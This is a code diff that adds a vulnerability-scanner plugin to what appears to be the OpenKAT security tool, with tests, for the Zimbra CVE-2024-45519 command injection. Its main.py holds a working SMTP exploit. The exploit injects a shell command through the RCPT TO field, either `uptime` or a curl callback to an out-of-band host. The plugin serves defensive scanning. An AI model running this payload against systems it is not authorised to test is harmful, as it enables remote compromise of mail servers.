Feat/CVE-2024-45519

boefjes/boefjes/plugins/kat_cve_2024_45519/boefje.json

@@ -0,0 +1,9 @@
+{
+  "id": "CVE-2024-45519",
+  "name": "CVE-2024-45519 - Zimbra remote code execution",
+  "description": "CVE-2024-45519 is a remote command injection vulnerability in Zimbra’s postjournal service, a component responsible for handling SMTP messages. This vulnerability allows attackers to execute arbitrary commands on vulnerable servers by exploiting the improper handling of user input. Critically, it requires no authentication, meaning that anyone with network access to the service could exploit it. Once exploited, an attacker could gain full control over the Zimbra server, leading to data theft, system compromise, and potential lateral movement within the target network..",
+  "consumes": [
+    "IPService"
+  ],
+  "scan_level": 4
+}

boefjes/boefjes/plugins/kat_cve_2024_45519/main.py

@@ -0,0 +1,48 @@
+# Based on https://github.com/p33d/CVE-2024-45519
+import socket
+from os import getenv
+
+from boefjes.job_models import BoefjeMeta
+
+
+def smtp_payload_check_vulnerability(host, port, oast=False):
+    with socket.create_connection((host, port), timeout=10) as conn:
+        conn.send(b"EHLO localhost\r\n")
+        conn.recv(1024)
+
+        conn.send(b"MAIL FROM: <[email protected]>\r\n")
+        conn.recv(1024)
+
+        # do we have a callback server (out of band security testing) or do we just execute `uptime`
+        if oast:
+            rcpt_to_payload = f'RCPT TO: <"aabbb$(curl${{IFS}}{oast})"@test.openkat.nl>\r\n'.encode()
+        else:
+            rcpt_to_payload = b'RCPT TO: <"aabbb$(uptime)"@test.openkat.nl>\r\n'
+        conn.send(rcpt_to_payload)
+        conn.recv(1024)
+
+        conn.send(b"DATA\r\n")
+        conn.recv(1024)
+
+        conn.send(b"aaa\r\n.\r\n")
+        resp = conn.recv(1024)
+
+        conn.send(b"QUIT\r\n")
+        return resp.decode("utf-8")
+
+
+def run(boefje_meta: BoefjeMeta) -> list[tuple[set, str | bytes]]:
+    input_ = boefje_meta.arguments["input"]  # input is IPService
+    ip_port = input_["ip_port"]
+    if input_["service"]["name"] != "smtp":
+        return [({"info/boefje"}, "Skipping because service is not an smtp service")]
+    ip = ip_port["address"]["address"]
+    port = ip_port["port"]
+    oast = getenv("OAST_URL", False)
+
+    response = smtp_payload_check_vulnerability(ip, port, oast)
+
+    if "message delivered" in response:
+        return [(set(), response), ({"openkat/finding"}, "CVE-2024-45519")]
+    else:
+        return []

boefjes/boefjes/plugins/kat_cve_2024_45519/schema.json

@@ -0,0 +1,11 @@
+{
+  "title": "Arguments",
+  "type": "object",
+  "properties": {
+    "OAST_URL": {
+      "title": "OAST_URL",
+      "type": "string",
+      "description": "Optional url for the compromised server to make a callback at."
+    }
+  }
+}

boefjes/tests/integration/test_api.py

@@ -17,9 +17,9 @@ def test_get_local_plugin(test_client, organisation):
 
 def test_filter_plugins(test_client, organisation):
     response = test_client.get(f"/v1/organisations/{organisation.id}/plugins/")
-    assert len(response.json()) == 99
+    assert len(response.json()) == 100
     response = test_client.get(f"/v1/organisations/{organisation.id}/plugins?plugin_type=boefje")
-    assert len(response.json()) == 44
+    assert len(response.json()) == 45
 
     response = test_client.get(f"/v1/organisations/{organisation.id}/plugins?limit=10")
     assert len(response.json()) == 10
@@ -62,7 +62,7 @@ def test_add_boefje(test_client, organisation):
     assert response.status_code == 422
 
     response = test_client.get(f"/v1/organisations/{organisation.id}/plugins/?plugin_type=boefje")
-    assert len(response.json()) == 45
+    assert len(response.json()) == 46
 
     boefje_dict = boefje.model_dump()
     boefje_dict["consumes"] = list(boefje_dict["consumes"])